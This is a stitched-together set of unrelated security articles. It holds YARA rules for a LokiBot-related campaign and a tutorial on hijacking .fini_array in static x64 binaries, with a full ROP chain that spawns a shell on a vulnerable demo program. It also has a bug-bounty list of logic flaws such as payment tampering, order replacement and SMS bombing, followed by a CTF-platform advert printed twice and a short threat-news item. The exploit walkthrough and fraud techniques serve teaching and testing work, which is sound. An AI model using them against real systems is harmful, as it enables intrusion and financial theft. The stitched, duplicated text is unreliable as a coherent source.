	 $a2 = { 0D 1B 43 00 1B 44 00 FB 30 1C 33 }
	 $s1 = "Shell" 

    condition:
   	 all of them
}

rule YAKKA3_Campaign_Jan_20_Injector_Module {
	meta:
  	description = "Yara Rule for Yakka3 campaign Injector module"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "vroombrooomkrooom" 
	 $s2 = "kekedoyouloveme" 
	 $s3 = "WriteProcessMemory"
	 $a1 = { 00 ED 08 8C 05 31 00 ED 08 43 }

    condition:
   	 uint16(0) == 0x5A4D and all of them
}

rule YAKKA3_Campaign_Jan_20_CMSTP_Bypass {
	meta:
  	description = "Yara Rule for Yakka3 campaign CMSTP Bypass"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "cmstp.exe" ascii wide
	 $s2 = "CurrentVersion" ascii wide 
	 $s3 = "INF" ascii wide
	 $a1 = { 0A 06 8E 69 2D 06 7E 18 }

    condition:
   	 uint16(0) == 0x5A4D and all of them
}

rule YAKKA3_Campaign_Jan_20_LokiBOT_Payload {
	meta:
  	description = "Yara Rule for Yakka3 campaign Loki bot Payload"
  	author = "Cybaze Zlab_Yoroi"
  	last_updated = "2020-01-23"
  	tlp = "white"
  	category = "informational"

	strings:
	 $s1 = "Fuckav.ru" ascii wide
	 $s2 = "SOFTWARE" wide 

    condition:
   	 uint16(0) == 0x5A4D and $s1 and #s2 > 10
}

用gdb调试main函数的时候,不难发现main的返回地址是__libc_start_main也就是说main并不是程序真正开始的地方,__libc_start_main是main的爸爸。

然鹅,__libc_start_main也有爸爸,他就是_start也就是Entry point程序的进入点啦,可以通过readelf -h查看:

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - GNU
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x401a60
  Start of program headers:          64 (bytes into file)
  Start of section headers:          835672 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         8
  Size of section headers:           64 (bytes)
  Number of section headers:         31
  Section header string table index: 30

(这是一个64位静态编译的ELF程序)其中,Entry point address: 0x401a60就是_start的地址:

.text:0000000000401A60                 public start
.text:0000000000401A60 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A60 ; __unwind {
.text:0000000000401A60                 xor     ebp, ebp
.text:0000000000401A62                 mov     r9, rdx
.text:0000000000401A65                 pop     rsi
.text:0000000000401A66                 mov     rdx, rsp
.text:0000000000401A69                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A6D                 push    rax
.text:0000000000401A6E                 push    rsp
.text:0000000000401A6F                 mov     r8, offset sub_402BD0 ; fini
.text:0000000000401A76                 mov     rcx, offset loc_402B40 ; init
.text:0000000000401A7D                 mov     rdi, offset main
.text:0000000000401A84                 db      67h
.text:0000000000401A84                 call    __libc_start_main
.text:0000000000401A8A                 hlt
.text:0000000000401A8A ; } // starts at 401A60
.text:0000000000401A8A start           endp

x64是通过寄存器来保存函数参数的:

      rdi - first argument
      rsi - second argument
      rdx - third argument
      rcx - fourth argument
      r8  - fifth argument
      r9  - sixth argument

可以发现__libc_start_main函数的参数中,有3个是函数指针:

rdi <- main 

rcx <- __libc_csu_init

r8 <- __libc_csu_fini

不难想到,除main以外的这两位兄弟,一位在main开始执行前执行,一位在main执行完毕后执行

__libc_csu_fini就是在main执行完毕后执行的那位

这兄弟虽然只有短短几行指令,但是能利用的点却贼多,他长这样:

pwndbg> x/20i 0x402bd0
  0x402bd0 <__libc_csu_fini>:    push   rbp
  0x402bd1 <__libc_csu_fini+1>:    lea    rax,[rip+0xb24e8]        # 0x4***c0 
  0x402bd8 <__libc_csu_fini+8>:    lea    rbp,[rip+0xb24d1]        # 0x4***b0 
  0x402bdf <__libc_csu_fini+15>:    push   rbx
  0x402be0 <__libc_csu_fini+16>:    sub    rax,rbp
  0x402be3 <__libc_csu_fini+19>:    sub    rsp,0x8
  0x402be7 <__libc_csu_fini+23>:    sar    rax,0x3
  0x402beb <__libc_csu_fini+27>:    je     0x402c06 <__libc_csu_fini+54>
  0x402bed <__libc_csu_fini+29>:    lea    rbx,[rax-0x1]
  0x402bf1 <__libc_csu_fini+33>:    nop    DWORD PTR [rax+0x0]
  0x402bf8 <__libc_csu_fini+40>:    call   QWORD PTR [rbp+rbx*8+0x0]
  0x402bfc <__libc_csu_fini+44>:    sub    rbx,0x1
  0x402c00 <__libc_csu_fini+48>:    cmp    rbx,0xffffffffffffffff
  0x402c04 <__libc_csu_fini+52>:    jne    0x402bf8 <__libc_csu_fini+40>
  0x402c06 <__libc_csu_fini+54>:    add    rsp,0x8
  0x402c0a <__libc_csu_fini+58>:    pop    rbx
  0x402c0b <__libc_csu_fini+59>:    pop    rbp
  0x402c0c <__libc_csu_fini+60>:    jmp    0x48f52c <_fini>

下面先概括的说下这个函数可利用的点,在后面会详细分析:

首先,看下面这条指令:

0x402bd8: lea rbp,[rip+0xb24d1] # 0x4***b0

rbp = 0×4***b0,0×4***b0是fini_array的首地址

这条指令相当于lea rbp,[fini_array]

因此,在这里配合gadget:

leave ; (mov rsp,ebp; pop rbp)
ret

可以把栈迁移到fini_array(fini_array存储的函数指针,自然有写权限)

其次,下面有一条call指令:

0x402bf8: call QWORD PTR [rbp+rbx*8]

rbp即为fini_array,因此这里将调用fini_array中的函数

只要修改fini_array中的值,就可以实现控制流的转移啦(传说中的fini_array劫持)

由此可见静态编译程序的__libc_csu_fini简直好用的不得了鸭,既可以完成栈迁移,又能够劫持控制流

p.s. 动态链接的程序__libc_csu_fini很短,并没有上述指令..

fini_array的地址可通过查看静态编译程序的section信息获得:

pwndbg> elfheader 
0x400200 - 0x400224  .note.gnu.build-id
0x400224 - 0x400244  .note.ABI-tag
0x400248 - 0x400470  .rela.plt
0x401000 - 0x401017  .init
0x401018 - 0x4010d0  .plt
0x4010d0 - 0x48d630  .text
0x48d630 - 0x48f52b  __libc_freeres_fn
0x48f52c - 0x48f535  .fini
0x490000 - 0x4a95dc  .rodata
0x4a95dc - 0x4a95dd  .stapsdt.base
0x4a95e0 - 0x4b3d00  .eh_frame
0x4b3d00 - 0x4b3da9  .gcc_except_table
0x4***80 - 0x4***a0  .tdata
0x4***a0 - 0x4***b0  .init_array
0x4***a0 - 0x4***e0  .tbss
0x4***b0 - 0x4***c0  .fini_array
0x4***c0 - 0x4b7ef4  .data.rel.ro
0x4b7ef8 - 0x4b7fe8  .got
0x4b8000 - 0x4b80d0  .got.plt
0x4b80e0 - 0x4b9bf0  .data
0x4b9bf0 - 0x4b9c38  __libc_subfreeres
0x4b9c40 - 0x4ba2e8  __libc_IO_vtables
0x4ba2e8 - 0x4ba2f0  __libc_atexit
0x4ba300 - 0x4bba78  .bss
0x4bba78 - 0x4bbaa0  __libc_freeres_ptrs

其中0×4***b0 – 0×4***c0即.fini_array数组,其中存在两个函数指针:

pwndbg> x/2xg 0x4***b0
0x4***b0:    0x0000000000401b10    0x0000000000401580
pwndbg> x/i 0x0000000000401b10
   0x401b10 <__do_global_dtors_aux>:    cmp    BYTE PTR [rip+0xb87e9],0x0
pwndbg> x/i 0x0000000000401580
   0x401580 <fini>:    mov    rax,QWORD PTR [rip+0xb9b71]

array[0]:__do_global_dtors_aux

array[1]:fini

这两个函数都会在main执行完毕后执行,因此可以覆盖这两个函数指针,即可实现控制流的劫持

此外,静态链接的程序也有PLT表和GOT表,也可以覆盖通过GOT中的函数指针实现控制流劫持

上述fini_array中的两个函数指针在__libc_csu_fini(上文说的那位兄弟)中被执行

执行的顺序是array[1]->array[0]

于是,有了一种比较好玩儿的操作:

把array[0]的值覆盖为那位兄弟(__libc_csu_fini函数)的地址

把array[1]的值覆盖为另一个函数地址,就叫他addrA吧

于是,main执行完毕后执行__libc_csu_fini,于是有意思的来了!

__libc_csu_fini先执行一遍array[1]:addrA,返回后再执行array[0]:__libc_csu_fini

__libc_csu_fini先执行一遍array[1]:addrA,返回后再执行array[0]:__libc_csu_fini

__libc_csu_fini先执行一遍array[1]:addrA,返回后再执行array[0]:__libc_csu_fini

……

看!连起来啦~ main->__libc_csu_fini->addrA->__libc_csu_fini->addrA-> ……

因吹斯汀~

详细的过程如下:

   0x402bd1 <__libc_csu_fini+1>:    lea    rax,[rip+0xb24e8]        # 0x4***c0 
   0x402bd8 <__libc_csu_fini+8>:    lea    rbp,[rip+0xb24d1]        # 0x4***b0 
   0x402bdf <__libc_csu_fini+15>:    push   rbx
   0x402be0 <__libc_csu_fini+16>:    sub    rax,rbp
   0x402be3 <__libc_csu_fini+19>:    sub    rsp,0x8
   0x402be7 <__libc_csu_fini+23>:    sar    rax,0x3

rax = 0×4***c0 – 0×4***b0 = 0×10

rax = 0×10 >> 3 = 2

   0x402bed <__libc_csu_fini+29>:    lea    rbx,[rax-0x1]
   0x402bf1 <__libc_csu_fini+33>:    nop    DWORD PTR [rax+0x0]
   0x402bf8 <__libc_csu_fini+40>:    call   QWORD PTR [rbp+rbx*8+0x0]

rbx = rax-1 = 1

call [rbp+rbx*8+0x0]即call array[1]即call addrA

   0x402bfc <__libc_csu_fini+44>:    sub    rbx,0x1
   0x402c00 <__libc_csu_fini+48>:    cmp    rbx,0xffffffffffffffff
   0x402c04 <__libc_csu_fini+52>:    jne    0x402bf8 <__libc_csu_fini+40>

addrA执行完毕后返回到0x402bfc

rbx = rbp – 1 = 0

rbx != -1,于是程序控制流又回到了那位兄弟手中:

0x402bf8 <__libc_csu_fini+40>:    call   QWORD PTR [rbp+rbx*8+0x0]

此时执行的是call array[1]即call __libc_csu_fini(call自己个儿啊)

于是循环往复,只要array[0]中的__libc_csu_fini值不变,程序就会一直循环执行addrA

当然,将array[1]中的addrA改成其他的addrB、addrC也都会执行

想要终止循环,只需把array[0]中的__libc_csu_fini换掉即可

就这样,那位兄弟只要占住了array[0]这个坑,就可以让addrA无限次的执行下去啦

小结一下:

x64静态编译程序,劫持fini_array

array[0]覆盖为__libc_csu_fini

array[1]覆盖为另一地址addrA

程序将循环执行addrA

终止条件为array[0]不再为__libc_csu_fini

相当于:

while (array[0] == __libc_csu_fini){
    addrA();
}

比如addrA中存在任意写一字节内存漏洞,通过上面这个循环就可以实现任意写多字节

至于ROP攻击,可以通过上述的栈迁移来实现

leave; ret相当于执行如下操作:

mov rsp, rbp (fini_array->rsp)

pop rbp (fini_array->rbp) 

 ret (fini_array+0×8->ret ) 

 这里有两种栈迁移方法: 第一种:在array[1]处迁移栈(需迁移两次

fini_array+0×0:(data)fini_array+0×8

fini_array+0×8:(gadget)leave_ret

fini_array+0×10:rop chain

第二种:跳过array[1],在array[0]处迁移栈

fini_array+0×0:(gadget)leave_ret

fini_array+0×8:(gadget)ret

fini_array+0×10:rop chain

这两种方法都可以达到栈迁移的目的,直接说比较难理解,待会实际调试一下就明白啦(下面有例子) 总之,向fini_array+0×10,fini_array+0×18…中依次布置gadget 构造好了ROP链,就可以完成ROP攻击啦~

举个栗子

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
    char buf[30];
    write(1,"addr:",5);
    read(0,&buf,200);
    int *addr = buf;
    write(1,"data:",5);
    read(0,*addr,24);
    return 0;
}
$ gcc demo.c -no-pie --static -o demo

很明显,存在任意写内存的漏洞,可以改写任意内存位置的连续24个字节。利用方式如下:

  ru('addr:')
  sl(p64(addr))
  ru('data:')
  se(p64(data1)+p64(data2)+p64(data3))

24字节显然不够,于是可以用上文提到的循环大法:

array[0]:__libc_csu_fini

array[1]:main

让main函数多执行几次,这样就可以控制足够大的内存空间,往里面布置ROP链啦~

就这个栗子而言,ROP攻击的思路大概是这样:

利用任意写,劫持fini_array

循环执行main,利用任意写,将ROP链布置到fini_array+0×10

终止循环,并将栈迁移到fini_array+0×10执行ROP链

劫持fini_array+循环大法:

  ru('addr:')
  sl(p64(fini_array))
  ru('data:')
  se(p64(libc_csu_fini)+p64(main))

布置ROP链:执行SYS_execve(‘/bin/sh’,0,0),需要完成以下寄存器的布局:

  RAX  0x3b
  RDI  addr -> '/bin/sh'
  RDX  0
  RSI  0

对应的ROP链如下:

  pop_rdi=0x00000000004016a6     # pop rdi ; ret
  pop_rax=0x0000000000447bbc     # pop rax ; ret
  pop_rdx_rsi=0x000000000044a659 # pop rdx ; pop rsi ; ret
  syscall = 0x0000000000402434   # syscall
  bin_sh_addr=fini_array+0x50    # ropchain start at fini_array+0x10

  ropchain = [p64(pop_rdi),p64(bin_sh_addr),
              p64(pop_rax),p64(0x3b),
              p64(pop_rdx_rsi),p64(0),p64(0),
              p64(syscall),
              "/bin/sh\x00"]

  # write ropchain to fini_array
  for i in range(len(ropchain)):
      ru('addr:')
      sl(p64(fini_array+0x10+i*8))
      ru('data:')
      se(ropchain[i])

现在布置完了ROP链,可以跳出循环了,跳出循环后,通过leave_ret完成栈迁移,执行ROP链:

  ru('addr:')
  sl(p64(fini_array))
  ru('data:')
  se(p64(leave)+p64(ret)) # break loop and stack pivot

这里用的是上文中的第二种栈迁移方式:

fini_array+0×0:(gadget)leave_ret

fini_array+0×8:(gadget)ret

fini_array+0×10:rop chain

这是因为循环大法中的array[1]是main,main返回后将执行array[0]处的函数:

leave执行前:

   ► 0x401c29 <main+172>              leave  
     0x401c2a <main+173>              ret    
      ↓
     0x401016 <_init+22>              ret    
      ↓
     0x4016a6 <init_cacheinfo+230>    pop    rdi
     0x4016a7 <init_cacheinfo+231>    ret    
      ↓
     0x447bbc <__open_nocancel+92>    pop    rax

  pwndbg> x/10xg $rsp
  0x7fff85f385c8:    0x0000000000402bfc    0x00000000004***f8
  0x7fff85f385d8:    0x0000000000000000    0x00000000004***b0
  0x7fff85f385e8:    0x0000000000402bfc    0x00000000004***f0
  0x7fff85f385f8:    0x0000000000000000    0x00000000004***b0
  0x7fff85f38608:    0x0000000000402bfc    0x00000000004***e8

leave执行后:

栈被迁移到fini_array+0×8,即array[1],但是这里并不是ROP链的开始

在array[1]这里用只含ret一个指令的gadget,让控制流后移,进入到fini_array+0×10的ROP链中

 0x401c29 <main+172>              leave  
► 0x401c2a <main+173>              ret             <0x401016; _init+22>
  ↓
 0x401016 <_init+22>              ret    
  ↓
 0x4016a6 <init_cacheinfo+230>    pop    rdi
 0x4016a7 <init_cacheinfo+231>    ret    
  ↓
 0x447bbc <__open_nocancel+92>    pop    rax

pwndbg> x/10xg $rsp
0x4***b8:    0x0000000000401016    0x00000000004016a6
0x4***c8:    0x00000000004b5100    0x0000000000447bbc
0x4***d8:    0x000000000000003b    0x000000000044a659
0x4***e8:    0x0000000000000000    0x0000000000000000
0x4***f8:    0x0000000000402434    0x0068732f6e69622f

ROP链执行完毕后就会执行SYS_execve(‘/bin/sh’,0,0)啦~

*本文原创作者:taqini,本文属FreeBuf原创奖励计划,未经许可禁止转载

最近在挖各大src,主要以逻辑漏洞为主,想着总结一下我所知道的一些逻辑漏洞分享一下以及举部分实际的案例展示一下,方便大家理解。

主要从两个方面看,业务方面与漏洞方面。(接下来就从拿到网站的挖掘步骤进行逐一介绍各个逻辑漏洞)

一 、业务

注册:

1.短信轰炸/验证码安全问题/密码爆破/邮箱轰炸

上面这个属于利用了burp中的intruder插件遍历了差数,导致短信**漏洞产生。遍历几个参数设置好payloads即可,具体看图操作。我个人来说特别喜欢测各种各样的短信**漏洞。其他测试方法接着往下看有专门写短信**。邮箱**与其相同方式。

2.用户任意注册/批量注册

3.枚举用户名

4.XSS (在这里的话其实就是说遇到框你就插xss即可,即使大部分不执行,还是会遇到一些奇葩的地方,不信你接着看图)

另外再注册名字的窗口处也可以插入xss,虽然危害小,但是你可以找找其他漏洞,打组合拳也说不定哦!

登录:

1.短信轰炸/验证码安全问题/密码爆破/邮箱轰炸

2.SQL注入

3.撞库

4.抓包把password字段修改成空值发送

5.认证凭证替换/比如返回的数据包中包含账号,修改账号就能登陆其他账号

6.Cookie仿冒

7.修改返回包的相关数据,可能会登陆到其他的用户

找回密码:

1.短信邮箱轰炸/短信邮箱劫持

2.重置任意用户密码/验证码手机用户未统一验证

3.直接跳过验证步骤

购买支付/充值(主要还是利用抓包需要仔细的去看每一个可用参数)

1. 交易金额/数量修改,替换支付模块  (这里也就是更换了支付的模块金额)

2. 交易信息订单编码/导致信息泄露

3. 整数溢出,int最大值为2147483647,超过最大值

4. 修改充值账户

5. 支付绕过

抽奖活动

1. 刷奖品/积分

2. 并发

优惠券/代金券

1. 并发逻辑漏洞(burp或者fd批量获取优惠劵等)

2. 修改优惠券金额/数量

订单信息

1. 订单信息遍历/泄露

2. 订单信息泄露导致用户信息泄露

3. 删除他人订单

会员系统

1. 修改个人信息上传文件,上传带弹窗的html

2. 如遇上上传xlsx/docx,可能存在xxe,上传恶意的文档盲测

3. 图片上传也可能遇到imagereagick命令执行,上传恶意图片

4. 视频上传如果使用ffmpeg<3.2.4(视频按帧分割成图片),上传恶意avi盲测ssrf

5. 用户横向越权访问/遍历/导致用户信息泄露

6. SQL注入/个人简介处存储XSS 个人信息注册的名称也可以插入xss

传输过程

1. 明文传输账号密码

2. 修改信息处无session/token导致csrf

3. POST/COOKIE注入

评论

1. POST注入/存储XSS

2. 无session/token导致CSRF

漏洞处

验证码问题

1. 万能验证码

2. 返回包中存在验证码

3. 删除验证码或者cookie中的值可以爆破账号密码

短信轰炸

1. 一直重放

2. 删除修改cookie,重放数据包

3. 遍历参数发送数据包

4. 手机号后面加空格或者前面加其他的比如+86或者逗号分号等,然后重发数据包

5. 请求参数修改大小写,或者添加请求参数比如&id=1

6. 一个站的登陆处可能做了防护,但是再找回密码处可能没有安全防护,或者在注册流程中没有安全防护,所以说多测试接口

7. 如果对手机号一天次数进行了限制的话,还可以在进行发送一次短信,DO intercept之后修改为成功回显

水平越权

1. 主要登陆后还是修改参数,主要找到多个接口不断测试

2. 关注网页源代码,有时候会有表单,但是被bidden(隐藏标签)给隐藏起来了,可以修改返回包然后尝试获取数据检测

3. 多个账号,主要分析请求参数

数据泄露

1. 在找回密码处,填写数据后抓包查看返回信息,有可能存在敏感数据返回

任意用户密码重置

1. 目前大部分都是在修改密码处参数修改

2. 有些是前端验证

三、支付逻辑漏洞

1.边界值问题 : 正常的逻辑是用户购买商品,然后价格累加得到一个总价进行扣款。这个时候就会产生逻辑问题:如果说用户购买的商品是负数了,那么计算的总数就是负数。反过来钱给用户

2.顺序执行缺陷:正常的逻辑是a-b-c-d 循环渐进的进行流程操作。这个时候就会产生逻辑问题:可以直接从中绕过某一个过程进入到下一步操作。如果说有一项是支付的操作,那么也就会产生支付绕过,如果说有一项是验证机制,就会绕过验证直接进入下一步。

3.金额直接传输导致篡改:直接对下单的金额进行修改值,这里可以使用fd或者burp抓包

4.确定支付之后还可以加入购物车:把商品放入购物车点击下单支付,会跳转到微信,支付宝等第三方支付平台。这个时候还可以继续在购物车中加入商品,支付结束之后,商家发放的商品是现在的购物车里面的东西。

5.请求重放:购买成功之后,继续重放请求,可以让购买的商品一直增加。购买成功之后,会有一个银行对商户网站跳转的过程,如果反复进行操作,有几率会导致商品反复购买和增加,但是不需要付更多的钱。

6.请求参数干扰:金钱做了签名认证之后,修改后不通过,但是在里面仍然会有一个参数对金额产生影响导致问题产生。

7.订单替换:订单替换发生在支付之后的事件处理,同时向服务器发起二次支付请求一个多一个少,支付金额少的,然后支付之后进行替换,告知服务器订单支付完成,并且过程可以反复的回放。

8.欺诈:需要两个收款人,一个是正常的商家,一个是伪造的商家

9.单位替换:产生在paypal类似的国际支付的场景。

10.用户替换:在支付过程中发生用户替换现象,首先登陆自己的账户,然后取得另外一个人的账户名等有效信息,在业务流程中用对方的用户名替换自己的用户名,用对方的余额购买完成后,再替换自己的账户名,这样就形成别人的钱买自己的东西

11.强制攻击:强制攻击发生在暴力破解的情况下,如果一个商家运用一个自己的网店,接入第三方支付接口,由于设计上的不当导致商家与第三方支付约定的密钥Key可以单独被MD5加密,导致可以使用MD5碰撞技术对密钥进行破解,攻击者可以设计简单的密钥加密信息使得MD5加密是可以用MD5碰撞技术进行暴力破解。

12.秘钥泄漏:内置支付功能的app为了设计上的方便有可能会把Md5或者是RSA的私钥泄漏导致攻击者反编译apk之后获取密钥信息使得交易信息可以被篡改。

13.函数修改:apk反编译之后的函数修改,可能导致商家在最后一步向支付方提交订单时未验证信息的准确性,仍然被篡改。

14.heart bleed:SSL(安全套接层)协议是使用最为普遍网站加密技术,而OpenSSL则是开源的 SSL 套件,为全球成千上万的web服务器所使用。Web服务器正是通过它来将密钥发送给访客然后在双方的连接之间对信息进行加密。URL中使用 https打头的连接都采用了SSL加密技术。在线购物、网银等活动均采用SSL技术来防止窃密及避免中间人攻击。

该漏洞被归为缓冲过度读取。缓冲过度读取错误是软件可以读取比应该被允许还多的数据。漏洞让特定版本的openSSL成为无需钥匙即可开启的“废锁”,入侵者每次可以翻检户主的64K信息,只要有足够的耐心和时间,就可以翻检足够多的数据,拼凑出户主的银行密码、私信等敏感数据。产生原因:数据在传输的两端是不加密的。一些数据如果在传输过程中不加密则会泄露个人数据等信息。

其实首先的话还是需要给原理明白以及操作的思路弄懂,学会变通才可以挖到更多新型逻辑漏洞

一些挖src逻辑的骚操作下期抽时间写一下,案例可以私聊我找我要漏洞报告

如有写的不正确处,望大佬斧正。谢谢!

*本文原创作者:听闻他叫无剧,本文属于FreeBuf原创奖励计划,未经许可禁止转载

2020年千禧年的第二个十年,就在全国人民张灯结彩喜迎新春的前夕,一场疫情蔓延在华夏大地,新型冠状病毒肺炎考验着全国人民。由于疫情严重,感染力强,为了民众健康的考虑,国家适当延长春节假期,随后国家教育局发布了延期开学的通知!我们相信国家有信心、有能力打赢这场“战争”,疫情情况也在慢慢好转,但是时间长短谁也无法估计。许多学校都已架起“空中课堂”,实现“停课不停学、不停教”,全面部署疫情防控工作。

在抗击疫情当下,网络安全也成为了疫情战役的又一重要战场。近日,360安全大脑捕获了印度APT组织对我国医疗机构发起的定向攻击,攻击者利用新型冠状肺炎疫情相关题材作为诱饵文档,对抗击疫情的医疗工作领域发动APT攻击。
面对如此严峻的考验,信息安全的学生、从业者应该如何学习和提升呢?
赛宁网安于2018年9月发布了一款名为“攻防世界”的产品,一经发布受到了各行各业网络安全从业者的关注。对于熟悉“攻防世界”的大咖自然不用多言,相信这是助力你们走向大咖之路的重要工具。那么,对于小白帽子、新手而言,攻防世界这款产品究竟是什么呢?
攻防世界是一款将信息安全知识与游戏相结合的趣味性学习练习平台,融入多种场景在线题型,集实战、理论、趣味于一体。题目分为练习区和挑战区,可根据自己的实际需要进行刷题。目前,攻防世界被用户评为国内排名第一的CTF练习平台现并面向广大受众群体免费开放,攻防世界致力让更多的安全爱好者参与挑战,从赛题中学到知识,从玩法中找到乐趣。

攻防世界的题库都是由赛宁网安实验室精心挑选,等级分初级、中级、高级。题目包含过去5年XCTF国际网络攻防联赛、高校网络信息安全运维挑战赛、NUAACTFWDCTFDDCTFSUSCTF32c3ctftinyctf3dsctfHack.lupicoctfHCTFXDCTFHITCONGCTF、世安杯、XMan选拔赛等。更有专人对题库每周进行定期的更新优化。

很多成长中的白帽黑客,都是自己从互联网上收集离散的资源进行学习,也很难找到分享交流的圈子。攻防世界里的每道题目都是挑战,很多白帽黑客在攻防世界里进行集中式系统化的学习和挑战,在攻防世界答题或赛事模块PK中成长。每个题目都有解题思路,参与答题的白帽黑客可以在这里集中讨论,分享与上传更优质的解题思路,让每个人都成长。平台也会根据白帽黑客答题或分享解题思路提供丰厚的金币助其成长,金币可以购买解题思路。

攻防世界自发布到现在近一年半的时间,已经拥有活跃使用用户15万+,这期间赛宁网安没有对攻防世界进行过任何宣传推广活动,完全靠口碑和平台的实力情况打拼拥有的大量活跃用户。攻防世界已开放题目数量700+,包含许多高质量赛题,目前日均解题次数大于3000+。

攻防世界主流四大功能:答题、竞赛、组队、排行榜
【答题】
攻防世界题目涵盖六大类:misc、pwnwebreversecryptomobile,每类题目均分为新手区和练习区,真正实现0门口练习挑战。不仅可以进行答题练习,还可互相查看彼此上传的解题思路,通过查看WP,达到相互学习的效果。

答题界面

题目面板
【竞赛】
攻防世界在支持XCTF联赛的同时,也提供了自助式竞赛功能。账号经过认证申请,成为主办方,分分钟就可以开展一场竞赛,可以上传题目,也可以从攻防世界里随机抽取题目进行竞赛。让复杂的竞赛流程,三分钟即可创建完成。

竞赛界面
【组队】
一个人学习进步慢?在攻防世界里国内上百支知名战队齐聚,花样自由组队方式,可以加入别人队伍,也可自行创建属于你的队伍,无限制无要求。

组队界面
【排行榜】
可实时看到自己的进步,排行榜依据题目类型细分,又依据综合实力进行总榜排行,排名高低一目了然,你的进步我们看的到。

排行榜界面
在疫情当前,攻防世界依然保持高流畅、高质量赛题为广大信息安全爱好者提供学习及演练的平台。
在疫情防控期间,赛宁网安制定了客户服务规范,以保障在疫情期间为有需求的客户提供安全可靠的服务;疫情期间公司将对疫情防控相关政企、医疗、疾控、网信、工信等单位提供优先服务保障;为客户提供7*24小时远程服务保障,确保客户的安全健康。
在疫情控制保卫战中,我们不仅要保障客户及员工的个人安全,更要保障信息安全底线,守护网络安全,让我们万众一心,众志成城,抵抗疫情,净化网络安全环境,我们终将迎来最后的胜利。


2020年千禧年的第二个十年,就在全国人民张灯结彩喜迎新春的前夕,一场疫情蔓延在华夏大地,新型冠状病毒肺炎考验着全国人民。由于疫情严重,感染力强,为了民众健康的考虑,国家适当延长春节假期,随后国家教育局发布了延期开学的通知!我们相信国家有信心、有能力打赢这场“战争”,疫情情况也在慢慢好转,但是时间长短谁也无法估计。许多学校都已架起“空中课堂”,实现“停课不停学、不停教”,全面部署疫情防控工作。

在抗击疫情当下,网络安全也成为了疫情战役的又一重要战场。近日,360安全大脑捕获了印度APT组织对我国医疗机构发起的定向攻击,攻击者利用新型冠状肺炎疫情相关题材作为诱饵文档,对抗击疫情的医疗工作领域发动APT攻击。
面对如此严峻的考验,信息安全的学生、从业者应该如何学习和提升呢?
赛宁网安于2018年9月发布了一款名为“攻防世界”的产品,一经发布受到了各行各业网络安全从业者的关注。对于熟悉“攻防世界”的大咖自然不用多言,相信这是助力你们走向大咖之路的重要工具。那么,对于小白帽子、新手而言,攻防世界这款产品究竟是什么呢?
攻防世界是一款将信息安全知识与游戏相结合的趣味性学习练习平台,融入多种场景在线题型,集实战、理论、趣味于一体。题目分为练习区和挑战区,可根据自己的实际需要进行刷题。目前,攻防世界被用户评为国内排名第一的CTF练习平台现并面向广大受众群体免费开放,攻防世界致力让更多的安全爱好者参与挑战,从赛题中学到知识,从玩法中找到乐趣。

攻防世界的题库都是由赛宁网安实验室精心挑选,等级分初级、中级、高级。题目包含过去5年XCTF国际网络攻防联赛、高校网络信息安全运维挑战赛、NUAACTFWDCTFDDCTFSUSCTF32c3ctftinyctf3dsctfHack.lupicoctfHCTFXDCTFHITCONGCTF、世安杯、XMan选拔赛等。更有专人对题库每周进行定期的更新优化。

很多成长中的白帽黑客,都是自己从互联网上收集离散的资源进行学习,也很难找到分享交流的圈子。攻防世界里的每道题目都是挑战,很多白帽黑客在攻防世界里进行集中式系统化的学习和挑战,在攻防世界答题或赛事模块PK中成长。每个题目都有解题思路,参与答题的白帽黑客可以在这里集中讨论,分享与上传更优质的解题思路,让每个人都成长。平台也会根据白帽黑客答题或分享解题思路提供丰厚的金币助其成长,金币可以购买解题思路。

攻防世界自发布到现在近一年半的时间,已经拥有活跃使用用户15万+,这期间赛宁网安没有对攻防世界进行过任何宣传推广活动,完全靠口碑和平台的实力情况打拼拥有的大量活跃用户。攻防世界已开放题目数量700+,包含许多高质量赛题,目前日均解题次数大于3000+。

攻防世界主流四大功能:答题、竞赛、组队、排行榜
【答题】
攻防世界题目涵盖六大类:misc、pwnwebreversecryptomobile,每类题目均分为新手区和练习区,真正实现0门口练习挑战。不仅可以进行答题练习,还可互相查看彼此上传的解题思路,通过查看WP,达到相互学习的效果。

答题界面

题目面板
【竞赛】
攻防世界在支持XCTF联赛的同时,也提供了自助式竞赛功能。账号经过认证申请,成为主办方,分分钟就可以开展一场竞赛,可以上传题目,也可以从攻防世界里随机抽取题目进行竞赛。让复杂的竞赛流程,三分钟即可创建完成。

竞赛界面
【组队】
一个人学习进步慢?在攻防世界里国内上百支知名战队齐聚,花样自由组队方式,可以加入别人队伍,也可自行创建属于你的队伍,无限制无要求。

组队界面
【排行榜】
可实时看到自己的进步,排行榜依据题目类型细分,又依据综合实力进行总榜排行,排名高低一目了然,你的进步我们看的到。

排行榜界面
在疫情当前,攻防世界依然保持高流畅、高质量赛题为广大信息安全爱好者提供学习及演练的平台。
在疫情防控期间,赛宁网安制定了客户服务规范,以保障在疫情期间为有需求的客户提供安全可靠的服务;疫情期间公司将对疫情防控相关政企、医疗、疾控、网信、工信等单位提供优先服务保障;为客户提供7*24小时远程服务保障,确保客户的安全健康。
在疫情控制保卫战中,我们不仅要保障客户及员工的个人安全,更要保障信息安全底线,守护网络安全,让我们万众一心,众志成城,抵抗疫情,净化网络安全环境,我们终将迎来最后的胜利。


疫情当前,我国的网络安全同样遭受着各种“挑衅”。继360安全大脑捕获印度APT组织对我国医疗机构发起定向攻击后,又有境外黑客组织在Twitter上发文,将于2月13日对我国国内部分公司和视频监控系统实施网络攻击行动。


 





该黑客组织声称已掌握我国境内大量摄像头的控制权限,并在某平台上公布了70余个视频监控设备信息。同时,扬言将攻击重点指向提供视频监控、面部识别等技术的公司并且“.gov.cn”的网站也将成为攻击目标。

